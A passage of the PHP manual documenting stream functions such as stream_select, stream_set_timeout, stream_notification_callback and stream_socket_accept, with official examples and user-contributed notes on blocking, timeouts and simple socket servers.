Return Values

Returns an indexed array of socket transports names.

Examples

Example #1 Using stream_get_transports()

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

The above example will output something similar to:

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

See Also

  • stream_get_filters() - Retrieve list of registered filters
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

abschipriota-varios0001 at yahoo dot com dot mx 23-Apr-2008 05:48
If you can't get the ssl protocol as a registered transport protocol even though you has add the extension=php_openssl.dll line on php.ini, maybe you haven't the libeay32.dll and / or ssleay32.dll files on your installation or in system32 folder.
stream_get_meta_data
stream_get_wrappers
Stream Functions


Retrieve list of registered streams

stream_get_transports
stream_is_local
Stream Functions
PHP Manual

stream_get_wrappers

(PHP 5)

stream_get_wrappers — Retrieve list of registered streams

Description

array stream_get_wrappers ( void )

Retrieve list of registered streams available on the running system.

Return Values

Returns an indexed array containing the name of all stream wrappers available on the running system.

Examples

Example #1 stream_get_wrappers() example

<?php
print_r(stream_get_wrappers());
?>

The above example will output something similar to:

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

Example #2 Checking for the existence of a stream wrapper

<?php
// check for the existence of the bzip2 stream wrapper
if (in_array('compress.bzip2', stream_get_wrappers())) {
    echo 'compress.bzip2:// support enabled.';
} else {
    echo 'compress.bzip2:// support not enabled.';
}
?>

See Also

  • stream_wrapper_register() - Register a URL wrapper implemented as a PHP class

User Contributed Notes

There are no user contributed notes for this page.
stream_get_transports
stream_is_local
Stream Functions


Checks if a stream is a local stream

stream_get_wrappers
stream_notification_callback
Stream Functions
PHP Manual

stream_is_local

(PHP 5 >= 5.2.4)

stream_is_local — Checks if a stream is a local stream

Description

bool stream_is_local ( mixed $stream_or_url )

Checks if a stream, or a URL, is a local one or not.

Parameters

stream_or_url

The stream resource or URL to check.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 stream_is_local() example

Basic usage example.

<?php
var_dump(stream_is_local("http://example.com"));
var_dump(stream_is_local("/etc"));
?>

The above example will output something similar to:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
stream_get_wrappers
stream_notification_callback
Stream Functions


A callback function for the notification context paramater

stream_is_local
stream_register_wrapper
Stream Functions
PHP Manual

stream_notification_callback

(PHP 5 >= 5.2.0)

stream_notification_callback — A callback function for the notification context paramater

Description

void stream_notification_callback ( int $notification_code , int $severity , string $message , int $message_code , int $bytes_transferred , int $bytes_max )

A callback function, used by the notification context parameter, called during an event.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

notification_code

One of the STREAM_NOTIFY_* notification constants.

severity

One of the STREAM_NOTIFY_SEVERITY_* notification constants.

message

Passed if a descriptive message is available for the event.

message_code

Passed if a descriptive message code is available for the event.

The meaning of this value is dependent on the specific wrapper in use.

bytes_transferred

If applicable, the bytes_transferred will be populated.

bytes_max

If applicable, the bytes_max will be populated.

Return Values

No value is returned.

Examples

Example #1 stream_notification_callback() example

<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {

    switch($notification_code) {
        case STREAM_NOTIFY_RESOLVE:
        case STREAM_NOTIFY_AUTH_REQUIRED:
        case STREAM_NOTIFY_COMPLETED:
        case STREAM_NOTIFY_FAILURE:
        case STREAM_NOTIFY_AUTH_RESULT:
            var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
            /* Ignore */
            break;

        case STREAM_NOTIFY_REDIRECTED:
            echo "Being redirected to: ", $message;
            break;

        case STREAM_NOTIFY_CONNECT:
            echo "Connected...";
            break;

        case STREAM_NOTIFY_FILE_SIZE_IS:
            echo "Got the filesize: ", $bytes_max;
            break;

        case STREAM_NOTIFY_MIME_TYPE_IS:
            echo "Found the mime-type: ", $message;
            break;

        case STREAM_NOTIFY_PROGRESS:
            echo "Made some progress, downloaded ", $bytes_transferred, " so far";
            break;
    }
    echo "\n";
}

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/contact", false, $ctx);
?>

The above example will output something similar to:

Connected...
Found the mime-type: text/html; charset=utf-8
Being redirected to: http://no.php.net/contact
Connected...
Got the filesize: 0
Found the mime-type: text/html; charset=utf-8
Being redirected to: http://no.php.net/contact.php
Connected...
Got the filesize: 4589
Found the mime-type: text/html;charset=utf-8
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 1440 so far
Made some progress, downloaded 2880 so far
Made some progress, downloaded 4320 so far
Made some progress, downloaded 5760 so far
Made some progress, downloaded 6381 so far
Made some progress, downloaded 7002 so far

Example #2 Simple progressbar for commandline download client

<?php
function usage($argv) {
    echo "Usage:\n";
    printf("\tphp %s <http://example.com/file> <localfile>\n", $argv[0]);
    exit(1);
}

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;

    switch($notification_code) {
    case STREAM_NOTIFY_RESOLVE:
    case STREAM_NOTIFY_AUTH_REQUIRED:
    case STREAM_NOTIFY_COMPLETED:
    case STREAM_NOTIFY_FAILURE:
    case STREAM_NOTIFY_AUTH_RESULT:
        /* Ignore */
        break;

    case STREAM_NOTIFY_REDIRECTED:
        echo "Being redirected to: ", $message, "\n";
        break;

    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;

    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        echo "Filesize: ", $filesize, "\n";
        break;

    case STREAM_NOTIFY_MIME_TYPE_IS:
        echo "Mime-type: ", $message, "\n";
        break;

    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0) {
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}

isset($argv[1], $argv[2]) or usage($argv);

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

$fp = fopen($argv[1], "r", false, $ctx);
if (is_resource($fp) && file_put_contents($argv[2], $fp)) {
    echo "\nDone!\n";
    exit(0);
}

$err = error_get_last();
echo "\nErrrrrorr..\n", $err["message"], "\n";
exit(1);
?>

Executing the example above with: php -n fetch.php http://no2.php.net/get/php-5-LATEST.tar.bz2/from/this/mirror php-latest.tar.bz2 will output something similar too:

Connected...
Mime-type: text/html; charset=utf-8
Being redirected to: http://no2.php.net/distributions/php-5.2.5.tar.bz2
Connected...
Filesize: 7773024
Mime-type: application/octet-stream
[========================================>                                                           ] 40% (3076/7590 kb)

See Also

  • Context parameters

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 05:08
Please note that the callback function never gets called when the stream is (at least) of type socket. It is probably the same for the file:// proto although I've not done further tests.

I'm using php 5.3.3.
stream_is_local
stream_register_wrapper
Stream Functions


Alias of stream_wrapper_register

stream_notification_callback
stream_resolve_include_path
Stream Functions
PHP Manual

stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5)

stream_register_wrapper — Alias of stream_wrapper_register()

Description

This function is an alias of: stream_wrapper_register().

User Contributed Notes

manuzhai (AT) php (DOT) net 07-Jan-2003 11:59
To get the https wrapper working on Windows, you need to replace your php4ts.dll with the one provided at http://ftp.proventum.net/pub/php/win32/misc/openssl/. This is instead of using the php_openssl.dll, so be sure to comment this extension in your php.ini.
stream_notification_callback
stream_resolve_include_path
Stream Functions


Resolve filename against the include path

stream_register_wrapper
stream_select
Stream Functions
PHP Manual

stream_resolve_include_path

(PHP 5 >= 5.3.2)

stream_resolve_include_path — Resolve filename against the include path

Description

string stream_resolve_include_path ( string $filename )

Resolve filename against the include path according to the same rules as fopen()/include().

Parameters

filename

The filename to resolve.

Return Values

Returns a string containing the resolved absolute filename, or FALSE on failure.

Examples

Example #1 stream_resolve_include_path() example

Basic usage example.

<?php
var_dump(stream_resolve_include_path("test.php"));
?>

The above example will output something similar to:

string(22) "/var/www/html/test.php"

User Contributed Notes

sebastian dot krebs at kingcrunch dot de 16-Feb-2011 03:03
It really behaves like `include` and will only resolve the filename against the include-path, if the path is relative. It makes not much sense to resolve already absolute pathnames anyway.
stream_register_wrapper
stream_select
Stream Functions


Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

stream_resolve_include_path
stream_set_blocking
Stream Functions
PHP Manual

stream_select

(PHP 4 >= 4.3.0, PHP 5)

stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

Description

int stream_select ( array &$read , array &$write , array &$except , int $tv_sec [, int $tv_usec = 0 ] )

The stream_select() function accepts arrays of streams and waits for them to change status. Its operation is equivalent to that of the socket_select() function except in that it acts on streams.

Parameters

read

The streams listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a stream resource is also ready on end-of-file, in which case an fread() will return a zero length string).

write

The streams listed in the write array will be watched to see if a write will not block.

except

The streams listed in the except array will be watched for high priority exceptional ("out-of-band") data arriving.

Note:

When stream_select() returns, the arrays read, write and except are modified to indicate which stream resource(s) actually changed status.

You do not need to pass every array to stream_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after stream_select() returns.
tv_sec

The tv_sec and tv_usec together form the timeout parameter, tv_sec specifies the number of seconds while tv_usec the number of microseconds. The timeout is an upper bound on the amount of time that stream_select() will wait before it returns. If tv_sec and tv_usec are both set to 0, stream_select() will not wait for data - instead it will return immediately, indicating the current status of the streams.

If tv_sec is NULL stream_select() can block indefinitely, returning only when an event on one of the watched streams occurs (or if a signal interrupts the system call).

Warning

Using a timeout value of 0 allows you to instantaneously poll the status of the streams, however, it is NOT a good idea to use a 0 timeout value in a loop as it will cause your script to consume too much CPU time.

It is much better to specify a timeout value of a few seconds, although if you need to be checking and running other code concurrently, using a timeout value of at least 200000 microseconds will help reduce the CPU usage of your script.

Remember that the timeout value is the maximum time that will elapse; stream_select() will return as soon as the requested streams are ready for use.

tv_usec

See tv_sec description.

Return Values

On success stream_select() returns the number of stream resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned and a warning raised (this can happen if the system call is interrupted by an incoming signal).

Examples

Example #1 stream_select() Example

This example checks to see if data has arrived for reading on either $stream1 or $stream2. Since the timeout value is 0 it will return immediately:

<?php
/* Prepare the read array */
$read   = array($stream1, $stream2);
$write  = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 0))) {
    /* Error handling */
} elseif ($num_changed_streams > 0) {
    /* At least on one of the streams something interesting happened */
}
?>

Notes

Note:

Due to a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

<?php
$e = NULL;
stream_select($r, $w, $e, 0);
?>

Note:

Be sure to use the === operator when checking for an error. Since the stream_select() may return 0 the comparison with == would evaluate to TRUE:

<?php
$e = NULL;
if (false === stream_select($r, $w, $e, 0)) {
    echo "stream_select() failed\n";
}
?>

Note:

If you read/write to a stream returned in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.

Note:

Some streams (like zlib) cannot be selected by this function.

Note:

Windows compatibility: stream_select() used on a pipe returned from proc_open() may cause data loss under Windows 98.

Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream

User Contributed Notes

aks at esoft dot dk 10-Nov-2010 07:56
stream_select() looks deceptively like a simple wrapper around POSIX select(2).

But beware: while select(2) allows you to pass no file descriptors and use it as a "portable subsecond sleep", PHP will complain with "Warning: stream_select(): No stream arrays were passed in ****" if all arrays are empty or null, and it WONT sleep, it will return immediately. So... if the number of file descriptors you have isn't static, you have to deal with the special case yourself.
lynch at php dot net 15-Mar-2010 12:48
Note: At least one of the input arrays must be non-empty, or you get an E_WARNING message:
PHP Warning:  stream_select(): unable to select [9]: Bad file descriptor (max_fd=0) in
jerrywilborn at gmail dot com 27-Jul-2009 10:55
http://bugs.php.net/bug.php?id=42682

This function will not return the number of changed streams under certain systems with older versions, but instead it will return '0'. Be careful.
php at richardneill dot org 04-Jul-2009 07:45
Note that reading from a regular file which is on end-of-file will *not* block. You'll get a non-blocking, zero-byte read.  However, stream_select *will* block if the input is a pipe, and there is no more data to be had.
Maxdamantus 29-Sep-2007 10:28
Simple stream_select wrapper.. Returns the first stream in the array, and sets parameter 2 to the key (So that it is easy to identify what received data):

<?php
function select($array, &$vkey, $timeout=0){
    $select = array();
    $null = NULL;
    foreach($array as $key => $sock){
        $x = count($select);
        $select[$x] = $sock;
        $keys[$x] = $key;
    }
    if(stream_select($select, $null, $null, $timeout)){
        foreach($keys as $key){
            if($array[$key] == $select[0]){
                $vkey = $key;
                return($select[0]);
            }
        }
    }
}

$streams = array("foo" => $stream_one, "bar" => $stream_two); // Create an array of two (already existant) streams.
if($new = select($streams, $key, 60)){ //Sets $new to the resource that next gets new data, and $key to either "foo", or "bar", depending which one it is.
    echo $key.":".stream_get_line($new, 2048)."\n";
}
?>
bluej100@gmail 21-Aug-2007 04:31
@mbaynton at gmail dot com

A handy syntactic trick:

<?php
$r = Array($stream1, $stream2);
stream_select($r, $w = null, $x = null, 1337);
?>

I've seen it recommended elsewhere in the documentation for clarifying magic arguments so maintainers don't have to go check the function itself, but it also solves your problem here.
mbaynton at gmail dot com 17-Aug-2007 07:35
The documentation states that:

You do not need to pass every array to stream_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after stream_select() returns.

This appears to be incorrect, at least in PHP 5.1.6, because PHP sees these parameters are passed by reference and thus insists on a bona fide variable for the reference to refer to:

Fatal error: Only variables can be passed by reference

is what you get if you pass NULL or anything else literally.
Ben 01-Feb-2007 05:35
You can key on file descriptors just fine by casting them to an int or a string, which returns what you would expect.
maartenwolzak at gmail dot com 25-Jan-2007 01:36
Note that you should change the calctimeout function below to divide the outcome by 1.000.000 otherwise you'll be waiting for two years instead of one minute for the socket to timeout...

<?php

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return ($maxtime - ((microtime(true) - $starttime) * 1000000))/1000000;
}

?>
aidan at aidans dot org 07-Dec-2006 07:53
Note that contrary to what the previous poster said, one is not able to use a stream resource as a key for an array. Rather, if you want to know which socket you are dealing with, consider using code similar to this:

<?php
$sockets = array("sock_1" => $sock1, "sock_2" => $sock2, "sock_3" => $sock_3);

$read = $write = $error = $sockets;
$num = stream_select($read, $write, $error, 10);
if ($n > 0) {
    foreach ($read as $r) {
        $key = array_search($r, $sockets);
        // $key will be "sock_1", "sock_2", "sock_3", etc.
    }
}
?>

Hope that helps someone out there!
phpdoc at shemesh dot biz 14-Mar-2005 01:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net 22-Jun-2004 11:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
    return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
    // loop through the sockets that showed activity
    foreach ($r as $socket) {
        // $socket talked
    }

    // stream_select modifies the contents of $r
    // in a loop we should replace it with the original
    $r = $orig_sockets;
}

?>
stream_resolve_include_path
stream_set_blocking
Stream Functions


Set blocking/non-blocking mode on a stream

stream_select
stream_set_read_buffer
Stream Functions
PHP Manual

stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5)

stream_set_blocking — Set blocking/non-blocking mode on a stream

Description

bool stream_set_blocking ( resource $stream , int $mode )

Sets blocking or non-blocking mode on a stream.

This function works for any stream that supports non-blocking mode (currently, regular files and socket streams).

Parameters

stream

The stream.

mode

If mode is 0, the given stream will be switched to non-blocking mode, and if 1, it will be switched to blocking mode. This affects calls like fgets() and fread() that read from the stream. In non-blocking mode an fgets() call will always return right away while in blocking mode it will wait for data to become available on the stream.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | Prior to PHP 4.3.0, this function only worked on socket based streams.

Notes

Note:

This function was previously called as set_socket_blocking() and later socket_set_blocking() but this usage is deprecated.

See Also

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

MagicalTux at ookoo dot org 07-Sep-2006 11:13
When you use fwrite() on a non-blocking stream, data isn't discarded silently as t dot starling said.

Remember that fwrite() returns an int, and this int represents the amount of data really written to the stream. So, if you see that fwrite() returns less than the amount of written data, it means you'll have to call fwrite() again in the future to write the remaining amount of data.

You can use stream_select() to wait for the stream to be available for writing, then continue writing data to the stream.

Non-blocking streams are useful as you can have more than one non-blocking stream, and wait for them to be available for writing.
t dot starling at physics dot unimelb dot edu dot au 08-Sep-2005 04:02
Warning: if you write too much data to a stream in non-blocking mode and fill the buffer, the excess will be silently discarded. Observed in PHP 4.4.0 under linux.
stream_select
stream_set_read_buffer
Stream Functions


Set read file buffering on the given stream

stream_set_blocking
stream_set_timeout
Stream Functions
PHP Manual

stream_set_read_buffer

(PHP 5 >= 5.3.3)

stream_set_read_buffer — Set read file buffering on the given stream

Description

int stream_set_read_buffer ( resource $stream , int $buffer )

Sets the read buffer. It's the equivalent of stream_set_write_buffer(), but for read operations.

Parameters

stream

The file pointer.

buffer

The number of bytes to buffer. If buffer is 0 then read operations are unbuffered. This ensures that all reads with fread() are completed before other processes are allowed to write to that output stream.

Return Values

Returns 0 on success, or EOF if the request cannot be honored.

See Also

  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.
stream_set_blocking
stream_set_timeout
Stream Functions


Set timeout period on a stream

stream_set_read_buffer
stream_set_write_buffer
Stream Functions
PHP Manual

stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5)

stream_set_timeout — Set timeout period on a stream

Description

bool stream_set_timeout ( resource $stream , int $seconds [, int $microseconds = 0 ] )

Sets the timeout value on stream, expressed in the sum of seconds and microseconds.

When the stream times out, the 'timed_out' key of the array returned by stream_get_meta_data() is set to TRUE, although no error/warning is generated.

Parameters

stream

The target stream.

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | As of PHP 4.3, this function can (potentially) work on any kind of stream. In PHP 4.3, socket based streams are still the only kind supported in the PHP core, although streams from other extensions may support this function.

Examples

Example #1 stream_set_timeout() example

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
    echo "Unable to open\n";
} else {

    fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
    stream_set_timeout($fp, 2);
    $res = fread($fp, 2000);

    $info = stream_get_meta_data($fp);
    fclose($fp);

    if ($info['timed_out']) {
        echo 'Connection timed out!';
    } else {
        echo $res;
    }

}
?>

Notes

Note:

This function doesn't work with advanced operations like stream_socket_recvfrom(), use stream_select() with timeout parameter instead.

This function was previously called as set_socket_timeout() and later socket_set_timeout() but this usage is deprecated.

See Also

  • fsockopen() - Open Internet or Unix domain socket connection
  • fopen() - Opens file or URL

User Contributed Notes

emailfire at gmail dot com 18-May-2011 01:28
This function seems to have no effect when running as a CLI script, see http://bugs.php.net/bug.php?id=36030
hamishcool3 at yahoo dot co dot uk 29-Oct-2010 09:29
In case anyone is puzzled, stream_set_timeout DOES NOT work for sockets created with socket_create or socket_accept. Use socket_set_option instead.

Instead of:
<?php
stream_set_timeout($socket,$sec,$usec);
?>

Use:
<?php
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>$sec, 'usec'=>$usec));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$sec, 'usec'=>$usec));
?>
mildly dull at terriblyclever dot com 29-Nov-2009 05:53
I didn't have much luck with the suggestions below (although I likely applied them wrong).
Instead, I used stream_context_create() and set an http option for timeout. I fed that context into file_get_contents() and voila!

To my desperate friend below: the https transport can also use the http stream context options. I haven't verified this works as I don't have a slow responding ssl to test on. But if you are still stressing, give the below a shot (you may need to modify a bit...)

<?php
    $timeout = 5*60;
    $options = array(
          'http'=>array(
            'method'=>"GET",
            'header'=>"Accept-language: en\r\n",
              'timeout' => $timeout
              )
        );
    $context = stream_context_create($options);
    $contents = file_get_contents($source, false, $context);
?>

Yes...that is a 5 minute timeout.
Martin Butt - martin at anti_spambutt.cx 12-Mar-2007 09:39
Here is a working example for loops:

<?php
// Timeout in seconds
$timeout = 5;

$fp = fsockopen("www.server.com", 80, $errno, $errstr, $timeout);

if ($fp) {
        fwrite($fp, "GET /file.php HTTP/1.0\r\n");
        fwrite($fp, "Host: www.server.com\r\n");
        fwrite($fp, "Connection: Close\r\n\r\n");

        stream_set_blocking($fp, TRUE);
        stream_set_timeout($fp,$timeout);
        $info = stream_get_meta_data($fp);

        while ((!feof($fp)) && (!$info['timed_out'])) {
                $data .= fgets($fp, 4096);
                $info = stream_get_meta_data($fp);
                ob_flush;
                flush();
        }

        if ($info['timed_out']) {
                echo "Connection Timed Out!";
        } else {
                echo $data;
        }
}
?>
Dianoga (dianoga7 [at] 3dgo.net) 20-Nov-2006 06:33
I have found that in order to actually stop the socket from timing out the script, you must call stream_get_meta_data and check for a timeout within the loop reading from the socket.

Example:

<?php
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if(!$sock){
    echo "Unable to get server status";
}else{
    $out = "GET /server.php HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($sock, $out);

    stream_set_blocking($fp, FALSE );
    stream_set_timeout($sock, $timeout);
    $info = stream_get_meta_data($sock);

    while (!feof($sock) && !$info['timed_out']) {
        $file .= fgets($sock, 4096);
        $info = stream_get_meta_data($sock);
    }

    fclose($sock);
?>
alfi_ at yahoo dot com 01-Aug-2006 08:10
If you are using fsockopen() to create a connection, first going to write into the stream and then waiting for the reply (e.g. simulating HTTP request with some extra headers), then stream_set_timeout() must be set only after the write - if it is before write, it has no effect on the read timeout :-(
Noticed at least on PHP/4.3.10
rtfm61 at yandex dot ru 25-Feb-2006 02:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera 20-Feb-2005 08:15
[WHOOPS! sorry had the key point reversed in my text. ]

I have been trying to understand how to use stream_set_timeout when calling a remote http page and put together the following code snippets. The first one is a simple test file "test.php" that is called as an html webpage.

The key I found is the "stream_set_blocking($fp, TRUE )".  If "FALSE", then $status['timed_out'] seems to not have any practical effect.  "TRUE" [PHP default] works.

Note, I have two timeouts, stream and monitor.  I need both in my application.

<?php
echo $html_stuff\n;        //the html header, etc.
ob_flush();                   //makes it echo immediately

$delay= 20;                   //tweak this, seconds

$report = "<div>Test started at: " . date("H:i:s") ."</div>\n";
$report .=  "<div>Started delay= $delay)</div>\n";
echo($report);
ob_flush();

$i=1;
$start_time= time();

while($i <= 10){

    $diff= time()-$start_time;

    $msg = $i . " at " . $diff;

    echo "$msg<br>\n";

    sleep($delay);

    $i= $i+1;
} // end while

$report = "Finished\n";
$report .= " </body>\n</html>";

echo($report);
?>

The second code block calls test.php with the usual "fopen()"

<?php
$fp= fopen("http://URL/.../test.php", 'rb');

$query_timeout= 4;   //tweek this
$monitor_time_sec= 120;    //master timeout

stream_set_blocking($fp, FALSE ); //THIS IS IMPORTANT

stream_set_timeout($fp, $query_timeout);

$status = socket_get_status($fp);

// fetch data from test.php
while (!feof($fp) && !$status['timed_out']) {

    $chunk = fread($fp, 10000);

    $length = strlen($chunk);
    $html_str .= $chunk;

    $diff = time() - $start_time;

    $tm = $status['timed_out'];

    echo "<div>At $diff seconds >>  $length bytes read, Status[timed out]: ($tm)</div>";
    ob_flush();

    if ($diff > $monitor_time_sec) {
        $pq_array['monitor_timed_out'] = true;
        break;
    } //end if

    sleep(2);

    $status = socket_get_status($fp);
} //end while, fetching data

fclose($fp);

$pq_array['connection_timed_out'] = ($status['timed_out'])? true : false;

print_r($pq_array);

echo $html_str;  //or whatever.
?>
ridera 17-Feb-2005 05:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.
stream_set_read_buffer
stream_set_write_buffer
Stream Functions


Sets write file buffering on the given stream

stream_set_timeout
stream_socket_accept
Stream Functions
PHP Manual

stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5)

stream_set_write_buffer — Sets write file buffering on the given stream

Description

int stream_set_write_buffer ( resource $stream , int $buffer )

Sets the buffering for write operations on the given stream to buffer bytes.

Output using fwrite() is normally buffered at 8K. This means that if there are two processes wanting to write to the same output stream (a file), each is paused after 8K of data to allow the other to write.

Parameters

stream

The file pointer.

buffer

The number of bytes to buffer. If buffer is 0 then write operations are unbuffered. This ensures that all writes with fwrite() are completed before other processes are allowed to write to that output stream.

Return Values

Returns 0 on success, or EOF if the request cannot be honored.

Examples

Example #1 stream_set_write_buffer() example

The following example demonstrates how to use stream_set_write_buffer() to create an unbuffered stream.

<?php
$fp = fopen($file, "w");
if ($fp) {
  stream_set_write_buffer($fp, 0);
  fwrite($fp, $output);
  fclose($fp);
}
?>

See Also

  • fopen() - Opens file or URL
  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.
stream_set_timeout
stream_socket_accept
Stream Functions


Accept a connection on a socket created by stream_socket_server

stream_set_write_buffer
stream_socket_client
Stream Functions
PHP Manual

stream_socket_accept

(PHP 5)

stream_socket_accept — Accept a connection on a socket created by stream_socket_server()

Description

resource stream_socket_accept ( resource $server_socket [, float $timeout = ini_get("default_socket_timeout") [, string &$peername ]] )

Accept a connection on a socket previously created by stream_socket_server().

Parameters

server_socket

The server socket to accept a connection from.

timeout

Override the default socket accept timeout. Time should be given in seconds.

peername

Will be set to the name (address) of the client which connected, if included and available from the selected transport.

Note:

Can also be determined later using stream_socket_get_name().

Return Values

Returns a stream to the accepted socket connection or FALSE on failure.

Notes

Warning

This function should not be used with UDP server sockets. Instead, use stream_socket_recvfrom() and stream_socket_sendto().

See Also

  • stream_socket_server() - Create an Internet or Unix domain server socket
  • stream_socket_get_name() - Retrieve the name of the local or remote sockets
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • cURL Functions

User Contributed Notes

Andy at txtNation dot com 10-Oct-2011 09:13
To check if there's a new connection waiting, without blocking, or (when using non-blocking mode) without notices), you can use stream_accept (as opposed to socket_select).

<?php

    class GenericClass {

        protected $resSocket=null;

        function acceptConnections() {

            # check that we still have a resource

            if(is_resource($this->resSocket)) {

                $arrRead=array($this->resSocket);

                $arrWrite=array();

                /** @warning Passing $arrRead,$arrWrite by reference */
                if(stream_select($arrRead,$arrWrite,$arrWrite,0)) {

                    $resConnection=stream_socket_accept($this->resSocket,0);

                    # ... other stuff here
                }
            }
        }
    }
?>
fred dot hakeem dot smith at muslimamerica dot bob dot net 02-Jan-2008 12:33
To whom it may concern, and it may concern you greatly, stream_set_blocking has no effect on stream_socket_accept.
If you want it to return right away, connection or not, use 0 for the timeout parameter.
mickael dot bailly at free dot fr 18-Jul-2006 03:10
this function, compared to the function socket_accept, got an extra argument "timeout".
To make this function wait indefinitelly to incoming connections, just as in socket_accept, set timeout to -1. It works for me with PHP 5.0.4.
leleu256NOSPAM at hotmail dot com 02-Nov-2004 05:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
    echo "$errstr ($errno)<br />\n";
  }
  else
   {
    // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
    while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
    {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
    }
    fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
        {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
        {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>
stream_set_write_buffer
stream_socket_client
Stream Functions


Open Internet or Unix domain socket connection

stream_socket_accept
stream_socket_enable_crypto
Stream Functions
PHP Manual

stream_socket_client

(PHP 5)

stream_socket_client — Open Internet or Unix domain socket connection

